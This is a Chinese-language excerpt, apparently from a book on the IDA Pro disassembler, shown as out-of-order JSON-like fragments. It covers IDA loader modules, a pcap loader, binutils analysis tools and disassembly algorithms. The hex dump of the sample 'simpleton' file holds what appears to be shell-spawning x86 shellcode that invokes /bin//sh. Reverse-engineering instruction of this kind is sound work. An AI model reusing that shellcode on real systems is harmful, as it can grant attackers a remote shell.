服务器能够对现有的项目创建分支，让用户为一个项目创建备用分支，而不致于影响到其他用户。如果你想要对一个数据库进行大量更改（并追踪这些更改），但不希望迫使其他用户进行这些更改，就可以用到这个特性。由于服务器能够处理与单个二进制输入文件有关的多个项目，collabREate 插件和服务器需要采取额外的步骤，以确保用户连接到数据库中的正确项目。 collabREate 服务器并不提供回滚功能，但提供某种形式的“保存点”。用户可以在任何时候拍摄一张快照，然后返回到这个数据库状态。用户可以重新打开二进制文件（新的.idb 文件），并通过这个快照分支一个新的项目。因此，用户可以返回到逆向过程中的一个特定的时间点。collabREate 的分支和快照功能可以通过最初激活该插件所使用的相同热键组合进行访问，得到的对话框如图 23-3 所示。 图23-3 collabREate 的“选择命令”对话框 collabREate 服务器的最后一个特性，在于它可以限制用户可发布的更新。例如，一名用户仅限于订阅更新，而另一名用户仅仅能够发布注释，第三名用户则可以发布所有类型的更新。"},
    {"text": "struct loader_t { ulong version; // api version, should be IDP_INTERFACE_VERSION ulong flags; // loader flags //check input file format. if recognized, int (idaapi *accept_file)(linput_t *li, char fileformatname[MAX_FILE_FORMAT_NAME], int n); //load file into the database. void (idaapi *load_file)(linput_t *li, ushort neflags, const char *fileformatname); //create output file from the database, this function may be absent. int (idaapi *save_file)(FILE *fp, const char *fileformatname); //take care of a moved segment (fix up relocations, for example) //this function may be absent. int (idaapi *move_segm)(ea_t from, ea_t to, asize_t size, const char *fileformatname); //initialize user configurable options based on the input file. //Called only when loading is done via File->New, not File->Open //this function may be absent. bool (idaapi *init_loader_options)(linput_t *li); }; 和 plugin_t 类一样， loader_t 对象的行为由它的成员指向的函数（由加载器作者创建）定义。"},
    {"text": "用 ACCEPT_FIRST 标志对返回值进行 OR 处理，可要求 IDA 在文件加载对话框中首先列出这个加载器。 如果几个加载器都标有 ACCEPT_FIRST ，则首先列出最后查询的加载器。"},
    {"text": "18.4.1 “傻瓜式”加载器 为了说明 IDA 加载器的基本操作，我们引入一个完全虚拟的“傻瓜式”文件格式，它由下面的C 结构体定义（所有值采用小端字节顺序）： struct simpleton { uint32_t magic; //simpleton magic number: 0x1DAB00C uint32_t size; //size of the code array uint32_t base; //base virtual address and entry point uint8_t code[size]; //the actual program code }; 这个文件的格式非常简单：一个幻数文件标识符和两个描述文件结构的整数，后面是文件中的所有代码。"},
    {"text": "一个小型“傻瓜式”文件的十六进制代码如下所示： 0000000: 0cb0 da01 4900 0000 0040 0000 31c0 5050 ....I....@..1.PP 0000010: 89e7 6a10 5457 50b0 f350 cd91 5859 4151 ..j.TWP..P..XYAQ 0000020: 50cd 9166 817f 0213 8875 f16a 3e6a 025b P..f.....u.j>j.[ 0000030: 5853 6a09 516a 3ecd 914b 79f4 5068 6e2f XSj.Qj>..Ky.Ph// 0000040: 7368 682f 2f62 6989 e350 5389 e150 5153 shh/bin..PS..PQS 0000050: b03b 50cd 91 .;P.. SDK 提供了几个样本加载器，它们位于/ldr目录中。"},
    {"text": "加载器采用以下设置： #include \"../idaldr.h\" #define SIMPLETON_MAGIC 0x1DAB00C struct simpleton { uint32_t magic; //simpleton magic number: 0x1DAB00C uint32_t size; //size of the code array uint32_t base; //base virtual address and entry point }; SDK自带的idaldr.h 头文件（/ldr/idaldr.h）是一个便捷文件，其中包含其他几个头文件，并定义了几个宏，它们常常用在加载器模块中。 下一步是声明所需的 LDSC 对象，它指向各种实现加载器行为的函数： int idaapi accept_simpleton_file(linput_t *, char[MAX_FILE_FORMAT_NAME], int); void idaapi load_simpleton_file(linput_t *, ushort, const char *); int idaapi save_simpleton_file(FILE *, const char *); loader_t LDSC = { IDP_INTERFACE_VERSION, 0, // loader flags accept_simpleton_file, // test simpleton format. load_simpleton_file, // load file into the database. save_simpleton_file, // simpleton is an easy format to save NULL, // no special handling for moved segments NULL, // no special handling for File->New }; 接下来，我们按照调用的顺序描述这个加载器所使用的函数，首先是 accept_simpleton_ loader 函数： int idaapi accept_simpleton_file(linput_t *li, char fileformatname[MAX_FILE_FORMAT_NAME], int n) { uint32 magic; if (n || lread4bytes(li, &magic, false)) return 0; if (magic != SIMPLETON_MAGIC) return 0; //bad magic number found qsnprintf(fileformatname, MAX_FILE_FORMAT_NAME, \"Simpleton Executable\"); return 1; //simpleton format recognized } 这个函数的唯一目的是判断被打开的文件是否是一个“傻瓜式”文件。"},
    {"text": "lread4bytes 函数的一个有用特性在于它能够根据它的第三个布尔参数的值，以大端或小端顺序读取字节（值为 false 则读取小端，值为 true 则读取大端）。"},
    {"text": "如果已经确定所需幻数的位置，那么最后， accept_simpleton_file 函数会将文件格式的名称复制到 fileformatname 输出参数中，然后返回1 ，表示已识别文件格式。"},
    {"text": "对“傻瓜式”加载器而言，如果用户选择使用File ▶ New 而非File ▶ Open加载一个“傻瓜式”文件，那么不需要任何特殊处理，也就不需要使用 init_loader_options 函数。"},
    {"text": "因此，下一个被调用的函数将是 load_simpleton_file ，如下所示： void idaapi load_simpleton_file(linput_t *li, ushort neflags, const char *) { simpleton hdr; //read the program header from the input file lread(li, &hdr, sizeof(simpleton)); //load file content into the database file2base(li, sizeof(simpleton), hdr.base, hdr.base + hdr.size, FILEREG_PATCHABLE); //create a segment around the file's code section if (!add_segm(0, hdr.base, hdr.base + hdr.size, NAME_CODE, CLASS_CODE)) { loader_failure(); } //retrieve a handle to the new segment segment_t *s = getseg(hdr.base); //so that we can set 32 bit addressing mode on (x86 has 16 or 32 bit modes) set_segm_addressing(s, 1); //set 32 bit addressing //tell IDA to create the file header comment for us. Do this //only once. This comment contains license, MD5, // and original input file name information. create_filename_cmt(); //Add an entry point so that the processor module knows at least one //address that contains code. This is the root of the recursive descent //disassembly process add_entry(hdr.base, hdr.base, \"_start\", true); } 加载器的 load_file 函数完成大部分加载工作。"},
    {"text": "对加载器而言， file2base 是一个“主力”函数，它的原型如下所示： int ida_export file2base(linput_t *li, long pos, ea_t ea1, ea_t ea2, int patchable); 这个函数从所提供的 linput_t 中读取字节， linput_t 以 pos 指定的文件位置为起始地址。"},
    {"text": "patchable 参数指明IDA 是否应维护文件偏移量与它们在数据库中的对应位置之间的内部映射。 要维护这样一个映射，应将这个参数设置为 FILEREG_PATCHABLE ，以生成 IDA的.dif 文件，如第 14 章所述。"},
    {"text": "add_entry 函数的原型如下所示： bool ida_export add_entry(uval_t ord, ea_t ea, const char *name, bool makecode); 参数 ord 供按序号（而不仅是函数名）导出的导出函数使用。"},
    {"text": "执行过程如下所示： int idaapi save_simpleton_file(FILE *fp, const char *fileformatname) { uint32 magic = SIMPLETON_MAGIC; if (fp == NULL) return 1; //special case, success means we can save files segment_t *s = getnseg(0); //get segment zero, the one and only segment if (s) { uint32 sz = s->endEA - s->startEA; //compute the segment size qfwrite(fp, &magic, sizeof(uint32)); //write the magic value qfwrite(fp, &sz, sizeof(uint32)); //write the segment size qfwrite(fp, &s->startEA, sizeof(uint32)); //write the base address base2file(fp, sizeof(simpleton), s->startEA, s->endEA); //dump the segment return 1; //return success } else { return 0; //return failure } } loader_t 的 save_file 函数接受一个 FILE 流指针 fp ， save_file 函数应向这个指针写入它的输出。"},
    {"text": "如前所述，调用 save_file 函数，是为了响应 IDA 的File ▶ Produce File ▶ Create EXE File 命令。 为了响应这个命令，最初，IDA 会调用 save_file 函数，并将 fp 设置为NULL。 如果以这种方式被调用， save_file 函数将接受查询，以确定它是否能够生成 fileformatname 指定的输出文件类型。 这时，如果 save_file 无法创建指定的文件类型，它应返回 0；"},
    {"text": "IDA 和FILE指针 如果你开发用于 Windows 版本的IDA 的模块，fpro.h 文件提到IDA FILE 流的一个非常重要的行为，这一行为也源于一个事实，即 IDA 的核心 DLL——ida_wll.dll是使用Borland工具构建的。"},
    {"text": "为解决这个问题，IDA 以 qfxxx （如 qfprintf ，在 fpro.h 中声明）的形式提供全套的包装函数，以替代标准的 C 风格 FILE 操纵例程（如 fprintf ）。"},
    {"text": "18.4.2 构建IDA 加载器模块 除了一些细微的差别外，构建和安装IDA 加载器模块的过程与第 17 章讨论的构建 IDA 插件模块的过程几乎完全相同。"},
    {"text": "对代码清单 17-1 中的生成文件稍作修改，将 PLUGIN_EXT 变量更改为一个反映正确的加载器文件扩展名的 LOADER_EXT 变量，将 idabook_plugin 的全部引用更改为 simpleton ，使 OUTDIR 变量指向 $(IDA)/bin/loaders ，即可用修改后的生成文件构建“傻瓜式”加载器。"},
    {"text": "研究表明，pcap 文件由以下简单的语法构成： pcap_file: pcap_file_header (pcap_packet)* pcap_packet: pcap_packet_header pcap_content pcap_content: (byte)+ pcap_file_header 包含一个32位幻数字段和描述文件内容的其他字段，包括文件所包含的数据包的类型。"},
    {"text": "下面的讨论将主要集中于pcap 加载器的 load_file 组件，因为这里的 accept_file 函数只是对 accept_simpleton_file 进行了简单的修改，使它能够识别pcap 幻数即可。"},
    {"text": "共有两个版本的 add_types ，其中一个版本使用了在 IDA 的GNU C++ Unix类型库中声明的类型，另一个版本则自己声明全部所需的结构体。 第一个版本的 add_types 首先加载 GNU C++ Unix类型库，然后从这个新加载的类型库中提取出类型标识符。"},
    {"text": "这个版本的 add_types 如下所示： void add_types() { #ifdef ADDTIL_DEFAULT add_til2(\"gnuunx.til\", ADDTIL_SILENT); #else add_til(\"gnuunx.til\"); #endif pcap_hdr_struct = til2idb(-1, \"pcap_file_header\"); pkthdr_struct = til2idb(-1, \"pcap_pkthdr\"); ether_struct = til2idb(-1, \"ether_header\"); ip_struct = til2idb(-1, \"iphdr\"); tcp_struct = til2idb(-1, \"tcphdr\"); udp_struct = til2idb(-1, \"udphdr\"); } 在typinf.hpp 中定义的 add_til 函数用于将一个现有的类型库文件加载到数据库中。"},
    {"text": "这个版本如下所示： void add_types() { til_t *t = new_til(\"pcap.til\", \"pcap header types\"); //empty type library parse_decls(t, pcap_types, NULL, HTI_PAK1); //parse C declarations into library sort_til(t); //required after til is modified pcap_hdr_struct = import_type(t, -1, \"pcap_file_header\"); pkthdr_struct = import_type(t, -1, \"pcap_pkthdr\"); ether_struct = import_type(t, -1, \"ether_header\"); ip_struct = import_type(t, -1, \"iphdr\"); tcp_struct = import_type(t, -1, \"tcphdr\"); udp_struct = import_type(t, -1, \"udphdr\"); free_til(t); //free the temporary library } 这个版本的 add_types 使用 new_til 函数创建了一个临时的空类型库。"},
    {"text": "pcap_types 字符串的前几行代码如下所示： char *pcap_types = \"struct pcap_file_header {\\n\" \"int magic;\\n\" \"short version_major;\\n\" \"short version_minor;\\n\" \"int thiszone;\\n\" \"int sigfigs;\\n\" \"int snaplen;\\n\" \"int linktype;\\n\" \"};\\n\" ... pcap_types 还声明了其他内容，包括 pcap 加载器所需的全部结构体的定义。"},
    {"text": "使用这个版本的 add_types 与使用第一个版本不同，这时我们可以完全控制被选择导入到数据库中的数据类型，不需要导入整个结构体库，从而避免导入那些不需要用到的结构体。"},
    {"text": "将注意力转到 load_pcap_file 函数上，它调用 add_types 初始化数据类型（如前所述），创建一个文件注释，将 pcap 文件头加载到数据库中，创建一个头部字节大小的节，并将头部字节转换成一个 pcap_file_header 结构体： void idaapi load_pcap_file(linput_t *li, ushort, const char *) { ssize_t len; pcap_pkthdr pkt; add_types(); //add structure templates to database create_filename_cmt(); //create the main file header comment //load the pcap file header from the database into the file file2base(li, 0, 0, sizeof(pcap_file_header), FILEREG_PATCHABLE); //try to add a new data segment to contain the file header bytes if (!add_segm(0, 0, sizeof(pcap_file_header), \".file_header\", CLASS_DATA)) { loader_failure(); } //convert the file header bytes into a pcap_file_header doStruct(0, sizeof(pcap_file_header), pcap_hdr_struct); //... continues 再一次， load_pcap_file 使用 file2base 将新打开的磁盘文件的内容加载到数据库中。 pcap文件头的内容被加载后，它将在数据库中获得自己的节，并且 pcap_file_header 结构体将通过在bytes.hpp 中声明的 doStruct 函数应用于所有头部字节。"},
    {"text": "然后， load_pcap_file 继续读取所有数据包内容，并为数据包内容创建一个 .packets 节，如下所示： //...continuation of load_pcap_file uint32 pos = sizeof(pcap_file_header); //file position tracker while ((len = qlread(li, &pkt, sizeof(pkt))) == sizeof(pkt)) { mem2base(&pkt, pos, pos + sizeof(pkt), pos); //transfer header to database pos += sizeof(pkt); //update position pointer point to packet content //now read packet content based on number of bytes of packet that are //present file2base(li, pos, pos, pos + pkt.caplen, FILEREG_PATCHABLE); pos += pkt.caplen; //update position pointer to point to next header } //create a new section around the packet content. This section begins where //the pcap file header ended. if (!add_segm(0, sizeof(pcap_file_header), pos, \".packets\", CLASS_DATA)) { loader_failure(); } //retrieve a handle to the new segment segment_t *s = getseg(sizeof(pcap_file_header)); //so that we can set 32 bit addressing mode on set_segm_addressing(s, 1); //set 32 bit addressing //...continues 在前面的代码中， mem2base 函数是一个新函数，用于将已经加载到内存中的内容传送到数据库中。"},
    {"text": "这个函数的第三部分（也是最后一部分）如下所示： //...continuation of load_pcap_file //apply headers structs for each packet in the database for (uint32 ea = s->startEA; ea < pos;) { uint32 pcap = ea; //start of packet //apply pcap packet header struct doStruct(pcap, sizeof(pcap_pkthdr), pkthdr_struct); uint32 eth = pcap + sizeof(pcap_pkthdr); //apply Ethernet header struct doStruct(eth, sizeof(ether_header), ether_struct); //Test Ethernet type field uint16 etype = get_word(eth + 12); etype = (etype >> 8) | (etype 8); //htons if (etype == ETHER_TYPE_IP) { uint32 ip = eth + sizeof(ether_header); //Apply IP header struct doStruct(ip, sizeof(iphdr), ip_struct); //Test IP protocol uint8 proto = get_byte(ip + 9); //compute IP header length uint32 iphl = (get_byte(ip) & 0xF) * 4; if (proto == IP_PROTO_TCP) { doStruct(ip + iphl, sizeof(tcphdr), tcp_struct); } else if (proto == IP_PROTO_UDP) { doStruct(ip + iphl, sizeof(udphdr), udp_struct); } } //point to start of next pcak_pkthdr ea += get_long(pcap + 8) + sizeof(pcap_pkthdr); } } 前面的代码只是以一次一个数据包的方式简单浏览了数据库，并分析每个数据包头部中的几个字段，以确定需要应用的结构体的类型，以及应用该结构体的起始位置。 下面的输出是一个已经使用pcap 加载器加载到数据库中的 pcap 文件的前几行： .file_header:0000 _file_header segment byte public 'DATA' use16 .file_header:0000 assume cs:_file_header .file_header:0000 pcap_file_header <0A1B2C3D4h, 2, 4, 0, 0, 0FFFFh, 1> .file_header:0000 _file_header ends .file_header:0000 .packets:00000018 ; ========================================================= .packets:00000018 .packets:00000018 ; Segment type: Pure data .packets:00000018 _packets segment byte public 'DATA' use32 .packets:00000018 assume cs:_packets .packets:00000018 ;org 18h .packets:00000018 pcap_pkthdr <<47DF275Fh, 1218Ah>, 19Ch, 19Ch> .packets:00000028 db 0, 18h, 0E7h, 1, 32h, 0F5h; ether_dhost .packets:00000028 db 0, 50h, 0BAh, 0B8h, 8Bh, 0BDh; ether_shost .packets:00000028 dw 8 ; ether_type .packets:00000036 iphdr <45h, 0, 8E01h, 0EE4h, 40h, 80h, 6, 9E93h, 200A8C0h, 6A00A8C0h> .packets:0000004A tcphdr <901Fh, 2505h, 0C201E522h, 6CE04CCBh, 50h, 18h, 0E01Ah, 3D83h, 0> .packets:0000005E db 48h ; H .packets:0000005F db 54h ; T .packets:00000060 db 54h ; T .packets:00000061 db 50h ; P .packets:00000062 db 2Fh ; / .packets:00000063 db 31h ; 1 .packets:00000064 db 2Eh ; . .packets:00000065 db 30h ; 0 以这种方式应用结构体模板，可以展开和折叠任何头部，显示或隐藏它的每一个成员字段。"},
    {"text": "另外，在格式化各种与网络有关的结构体时，我们还可以使用对用户更加友好的方式，如显示一个 IP 地址的可读版本，为每个头部中的其他字段提供按字节排序的显示。"},
    {"text": "未知 18.7 小结 了解加载器如何适应 IDA 的模块化体系结构后，你将发现创建加载器模板并不比创建插件模板更加困难。很明显，加载器也有它们自己的 SDK 函数，并且在很大程度上依赖这些函数。这些函数绝大多数位于 loader.hpp、segment.hpp、entry.hpp 和diskio.hpp文件中。最后，由于加载器在处理器模块分析新加载的代码之前执行，加载器根本不需要执行任何反汇编任务，如处理函数或经过反汇编的指令。 在下一章中，我们将介绍处理器模块，以及各种负责对经过反汇编的二进制文件进行整体格式化的组件，从而结束对 IDA 模块的讨论。 未知 第四部分 扩展IDA的功能 本部分内容： 第15章 编写IDA脚本 第16章 IDA软件开发工具包 第17章 IDA插件体系结构 第18章 二进制文件与IDA加载器模块 第19章 IDA处理器模块"},
    {"text": "未知 2.2 摘要工具 由于我们的目标是对二进制程序文件进行逆向工程，因此，在对文件进行初步分类后，需要用更高级的工具来提取详尽的信息。"},
    {"text": "本节讨论的工具不仅能识别它们所处理的文件的格式，更重要的是还能够理解某一特定的文件格式，并且能够解析它们的输入文件，提取出这些输入文件所包含的非常特别的信息。"},
    {"text": "2.2.1 nm 将源文件编译成目标文件时，编译器必须嵌入一些全局（外部）符号的位置信息，以便链接器在组合目标文件以创建可执行文件时，能够解析对这些符号的引用。"},
    {"text": "idabook# gcc -c ch2_example.c idabook# nm ch2_example.o U __stderrp U exit U fprintf 00000038 T get_max 00000000 t hidden 00000088 T main 00000000 D my_initialized_global 00000004 C my_unitialized_global U printf U rand U scanf U srand U time 00000010 T usage idabook# 从中可以看到， nm 列出了每一个符号以及与符号有关的一些信息。"},
    {"text": "idabook# gcc -o ch2_example ch2_example.c idabook# nm ch2_example <. . .> U exit U fprintf 080485c0 t frame_dummy 08048644 T get_max 0804860c t hidden 08048694 T main 0804997c D my_initialized_global 08049a9c B my_unitialized_global 08049a80 b object.2 08049978 d p.0 U printf U rand U scanf U srand U time 0804861c T usage idabook# 在这个例子中，一些符号（如 main ）被分配了虚拟地址，链接过程引入了一些新的符号（如 frame_dummy ），另一些符号（如 my_unitialized_global ）的类型发生了改变，其他符号由于继续引用外部符号，仍旧为未定义符号。"},
    {"text": "而且，使用动态链接时升级库代码也变得简单多了，因为只需要维护一个库（被许多二进制文件引用），如果需要升级库代码，用新版本的库替换过时的库，就可以立即更新每一个引用该库的二进制文件。"},
    {"text": "idabook# gcc -o ch2_example_dynamic ch2_example.c idabook# gcc -o ch2_example_static ch2_example.c –static idabook# ls -l ch2_example_* -rwxr-xr-x 1 root wheel 6017 Sep 26 11:24 ch2_example_dynamic -rwxr-xr-x 1 root wheel 167987 Sep 26 11:23 ch2_example_static idabook# file ch2_example_* ch2_example_dynamic: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses shared libs), not stripped ch2_example_static: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), statically linked, not stripped idabook# 为了确保动态链接正常运行，动态链接二进制文件必须指明它需要的库文件，以及需要这些文件中的哪些特定资源。"},
    {"text": "idabook# ldd /usr/local/sbin/httpd /usr/local/sbin/httpd: libm.so.4 => /lib/libm.so.4 (0x280c5000) libaprutil-1.so.2 => /usr/local/lib/libaprutil-1.so.2 (0x280db000) libexpat.so.6 => /usr/local/lib/libexpat.so.6 (0x280ef000) libiconv.so.3 => /usr/local/lib/libiconv.so.3 (0x2810d000) libapr-1.so.2 => /usr/local/lib/libapr-1.so.2 (0x281fa000) libcrypt.so.3 => /lib/libcrypt.so.3 (0x2821a000) libpthread.so.2 => /lib/libpthread.so.2 (0x28232000) libc.so.6 => /lib/libc.so.6 (0x28257000) idabook# Linux和BSD 系统均提供 ldd 工具。"},
    {"text": "显示与目标文件有关的信息是 objdump 的功能。 这是一个相当宽泛的目标， objdump 为此提供了大量命令行选项（超过30个），以提取目标文件中的各种信息。 objdump 可用于显示以下与目标文件有关的信息（以及其他更多信息）。"},
    {"text": "反汇编代码清单 ， objdump 对文件中标记为代码的部分执行线性扫描反汇编。 反汇编 x86代码时， objdump 可以生成 AT & T 或Intel 语法，并可以将反汇编代码保存在文本文件中。"},
    {"text": "这样的文本文件叫做反汇编死代码清单（dead listing ），尽管这些文件可用于实施逆向工程，但它们很难有效导航，也无法以一致且无错的方式被修改。"},
    {"text": "objdump 是GNU binutils 2 工具套件的一部分，用户可以在 Linux、FreeBSD 和Windows（通过Cygwin）系统中找到这个工具。 objdump 依靠二进制文件描述符库 libbfd （二进制工具的一个组件）来访问目标文件，因此，它能够解析 libbfd 支持的文件格式（ELF 、PE等）。"},
    {"text": "2.2.4 otool otool 可用于解析与 OS X Mach-O二进制文件有关的信息，因此，可简单将其描述为 OS X系统下的类似于 objdump 的实用工具。 下面的代码说明了如何使用 otool 显示一个Mach-O二进制文件的动态库依赖关系，从而执行类似于 ldd 的功能。 idabook# file osx_example osx_example: Mach-O executable ppc idabook# otool -L osx_example osx_example: /usr/lib/libstdc++.6.dylib (compatibility version 7.0.0, current version 7.4.0) /usr/lib/libgcc_s.1.dylib (compatibility version 1.0.0, current version 1.0.0) /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 88.1.5) otool 可用于显示与文件的头部和符号表有关的信息，并对文件的代码部分进行反汇编。"},
    {"text": "$ dumpbin /dependents calc.exe Microsoft (R) COFF/PE Dumper Version 8.00.50727.762 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file calc.exe File Type: EXECUTABLE IMAGE Image has the following dependencies: SHELL32.dll msvcrt.dll ADVAPI32.dll KERNEL32.dll GDI32.dll USER32.dll dumpbin 的其他选项可从 PE二进制文件的各个部分提取信息，包括符号、导入的函数名、导出的函数名和反汇编代码。"},
    {"text": "2.2.6 c++filt 由于每一个重载的函数都使用与原函数相同的名称，因此，支持函数重载的语言必须拥有一种机制，以区分同一个函数的许多重载版本。 下面的 C++ 实例展示了一个名为 demo 的函数的几个重载版本的原型： void demo(void); void demo(int x); void demo(double x); void demo(int x, double y); void demo(double x, int y); void demo(char* str); 通常，一个目标文件中不能有两个名称相同的函数。 为支持重载，编译器将描述函数参数类型的信息合并到函数的原始名称中，从而为重载函数生成唯一的函数名称。"},
    {"text": "如果使用 nm 转储前面的C++ 代码的已编译版本中的符号，将得到如下结果（有删减，以突出显示 demo的重载版本）： 4. 有关名称改编的概述，请参考 http://en.wikipedia.org/wiki/Name_mangling 。"},
    {"text": "idabook# g++ -o cpp_test cpp_test.cpp idabook# nm cpp_test | grep demo 0804843c T _Z4demoPc 08048400 T _Z4demod 08048428 T _Z4demodi 080483fa T _Z4demoi 08048414 T _Z4demoid 080483f4 T _Z4demov C++ 标准没有为名称改编方案制定标准，因此，编译器设计人员必须自己制定标准。"},
    {"text": "为了译解上面列出的 demo 函数的重载版本，我们需要一个能够理解编译器（这里为 g++ ）的名称改编方案的工具， c++filt 正是这样一个实用工具。 c++filt 将每个输入的名称看成是改编后的名称（mangled name ），并设法确定用于生成该名称的编译器。 如果这个名称是一个合法的改编名称，那么， c++filt 就输出改编之前的原始名称； 如果 c++filt 无法识别一个改编名称，那它就按原样输出该名称。"},
    {"text": "如果将上面 nm 输出的结果交给 c++filt 处理，将可以得到这些函数的原始名称，如下所示： idabook# nm cpp_test | grep demo | c++filt 0804843c T demo(char*) 08048400 T demo(double) 08048428 T demo(double, int) 080483fa T demo(int) 08048414 T demo(int, double) 080483f4 T demo() 值得注意的是，改编名称可能包含其他与函数有关的信息，正常情况下，nm无法显示这些信息。"},
    {"text": "以最常见的情形——反汇编可执行文件——为例，该文件必须符合可执行文件的某种通用格式，如 Windows 所使用的 可移植可执行 （Portable Executable ，PE）格式或许多 Unix 系统常用的 可执行和链接格式 （Executable and linking format ，ELF ）。"},
    {"text": "知道指令的起始地址后，下一步就是读取该地址（或文件偏移量）所包含的值，并执行一次表查找，将二进制操作码的值与它的汇编语言助记符对应起来。"},
    {"text": "根据被反汇编的指令集的复杂程度，这个过程可能非常简单，也可能需要几个额外的操作，如查明任何可能修改指令行为的前缀以及确定指令所需的操作数。"},
    {"text": "Intel 语法与AT & T 语法不同，它不需要寄存器和文字前缀，它的操作数排序方式与AT & T语法操作数恰恰相反：源操作数位于右边，目的操作数位于左边。"},
    {"text": "有大量算法可用于确定从何处开始反汇编，如何选择下一条反汇编的指令，如何区分代码与数据，以及如何确定何时完成对最后一条指令的反汇编。"},
    {"text": "线性扫描 （linear sweep）和 递归下降 （recursive descent ）是两种最主要的反汇编算法。 1.4.2 线性扫描反汇编 线性扫描反汇编算法采用一种非常简单的方法来确定需要反汇编的指令的位置：一条指令结束、另一条指令开始的地方。"},
    {"text": "进行反汇编时，可以维护一个指针来标注当前正在反汇编的指令的起始位置。 在反汇编过程中，每一条指令的长度都被计算出来，并用来确定下一条将要反汇编的指令的位置。 为此，对由长度固定的指令构成的指令集（如 MIPS）进行反汇编有时会更加容易，因为这时可轻松定位随后的指令。"},
    {"text": "代码清单 1-1 线性扫描反汇编 40123f: 55 push ebp 401240: 8b ec mov ebp,esp 401242: 33 c0 xor eax,eax 401244: 8b 55 08 mov edx,DWORD PTR [ebp+8] 401247: 83 fa 0c cmp edx,0xc 40124a: 0f 87 90 00 00 00 ja 0x4012e0 ➊ 401250: ff 24 95 57 12 40 00 jmp DWORD PTR [edx*4+0x401257] ➋ 401257: e0 12 loopne 0x40126b 401259: 40 inc eax 40125a: 00 8b 12 40 00 90 add BYTE PTR [ebx-0x6fffbfee],cl 401260: 12 40 00 adc al,BYTE PTR [eax] 401263: 95 xchg ebp,eax 401264: 12 40 00 adc al,BYTE PTR [eax] 401267: 9a 12 40 00 a2 12 40 call 0x4012:0xa2004012 40126e: 00 aa 12 40 00 b2 add BYTE PTR [edx-0x4dffbfee],ch 401274: 12 40 00 adc al,BYTE PTR [eax] 401277: ba 12 40 00 c2 mov edx,0xc2004012 40127c: 12 40 00 adc al,BYTE PTR [eax] 40127f: ca 12 40 lret 0x4012 401282: 00 d2 add dl,dl 401284: 12 40 00 adc al,BYTE PTR [eax] 401287: da 12 ficom DWORD PTR [edx] 401289: 40 inc eax 40128a: 00 8b 45 0c eb 50 add BYTE PTR [ebx+0x50eb0c45],cl 401290: 8b 45 10 mov eax,DWORD PTR [ebp+16] 401293: eb 4b jmp 0x4012e0 如果将（➋）处开始的连续 4 字节组作为小端（little endian ） 2 值分析，我们发现，每个字节组都代表一个指向邻近地址的指针。"},
    {"text": "2. 如果CPU 首先存储一个多字节值的最高有效字节，则称该CPU 为大端（big-endian）CPU ； 如果该CPU 首先存储最低有效字节，则称为小端（little-endial ）CPU 。"},
    {"text": "4. 函数调用指令 函数调用指令的运行方式与无条件跳转指令非常相似（包括反汇编器无法确定 call eax 等指令的目标），唯一的不同在于，一旦函数完成，执行权将返回给紧跟在调用指令后面的指令。"},
    {"text": "foo proc near FF 04 24 inc dword ptr [esp] ; increments saved return addr C3 retn foo endp ; ------------------------------------- bar: E8 F7 FF FF FF call foo 05 89 45 F8 90 ➊add eax, 90F84589h 结果，在调用 foo 之后，控制权实际上并未返回给（➊）处的 add 指令。"},
    {"text": "foo proc near FF 04 24 inc dword ptr [esp] C3 retn foo endp ; ------------------------------------- bar: E8 F7 FF FF FF call foo 05 db 5 ;formerly the first byte of the add instruction 89 45 F8 Y mov [ebp-8], eax 90 nop 以上代码更清楚地展示了程序的实际流程。"},
    {"text": "代码清单 1-2 递归下降反汇编 0040123F push ebp 00401240 mov ebp, esp 00401242 xor eax, eax 00401244 mov edx, [ebp+arg_0] 00401247 cmp edx, 0Ch ; switch 13 cases 0040124A ja loc_4012E0 ; default 0040124A ; jumptable 00401250 case 0 00401250 jmp ds:off_401257[edx*4] ; switch jump 00401250 ; ---------------------------------------------------00401257 off_401257: 00401257 dd offset loc_4012E0 ; DATA XREF: sub_40123F+11r 00401257 dd offset loc_40128B ; jump table for switch statement 00401257 dd offset loc_401290 00401257 dd offset loc_401295 00401257 dd offset loc_40129A 00401257 dd offset loc_4012A2 00401257 dd offset loc_4012AA 00401257 dd offset loc_4012B2 00401257 dd offset loc_4012BA 00401257 dd offset loc_4012C2 00401257 dd offset loc_4012CA 00401257 dd offset loc_4012D2 00401257 dd offset loc_4012DA 0040128B ; ---------------------------------------------------0040128B 0040128B loc_40128B: ; CODE XREF: sub_40123F+11j 0040128B ; DATA XREF: sub_40123F:off_401257o 0040128B mov eax, [ebp+arg_4] ; jumptable 00401250 case 1 0040128E jmp short loc_4012E0 ; default 0040128E ; jumptable 00401250 case 0 注意，跳转目标表已被识别出来，并进行了相应的格式化。"},
    {"text": "未知 1.5 小结 在使用反汇编器时，有必要深入了解反汇编算法吗？没有必要。了解这些算法会有益处吗？当然！在进行逆向工程时，选一个得心应手的好工具至关重要。IDA 具有诸多优点，其中之一是：与其他许多反汇编器不同，它为你提供大量机会来指导和推翻它的决定。最终的结果是准确的反汇编，这一结果远胜于其他任何结果。 在下一章，我们将介绍一系列可在各种逆向工程情形下使用的现有工具。虽然它们与IDA没有直接关系，但其中许多工具都与 IDA 相互影响过，而且它们有助于我们解释在 IDA 用户界面上显示的大量信息。 未知 14.3 小结 IDA 并不是一个二进制文件编辑器。任何时候，如果你想要使用 IDA 修补一个二进制文件，请记住这个事实。但是，它是一款特别有用的工具，可帮助你输入并显示潜在的更改。掌握IDA的全部功能，并结合 IDA 通过适当的脚本或外部程序生成的信息，修补二进制文件也会变得简单可行。 在后面的几章中，我们将讨论扩展 IDA 功能的各种方式。对于希望充分利用 IDA 功能的用户而言，掌握基本的脚本编写技能，并理解 IDA 的插件体系结构非常重要，因为它们可帮助你添加你认为 IDA 缺乏的功能。 未知 26.3 Appcall 调试器的 Appcall特性有效地扩展了 IDC 或IDAPython 通过脚本调用活动进程中的任何函数的功能。上述功能的用途非常广泛，包括将额外的内存映射到进程地址空间中（通过调用 VirtualAlloc 或类似函数），以及将新库注入到所调试的进程中（通过调用 LoadLibrary ，或通过调用进程中的函数来执行你宁愿手动执行的任务，如解码数据块或计算散列值）。 要使用Appcall，必须将你要调用的函数加载到所调试进程的地址空间中，并且 IDA 必须了解或获知该函数的原型，以便正确编列或解列参数。保存当前调试器线程的状态（与该线程有关的所有注册）后，你所作的任何 Appcall调用将置于该线程中。Appcall完成后，IDA 将恢复线程状态，调试器也将恢复执行，好像 Appcall从未发生一样。 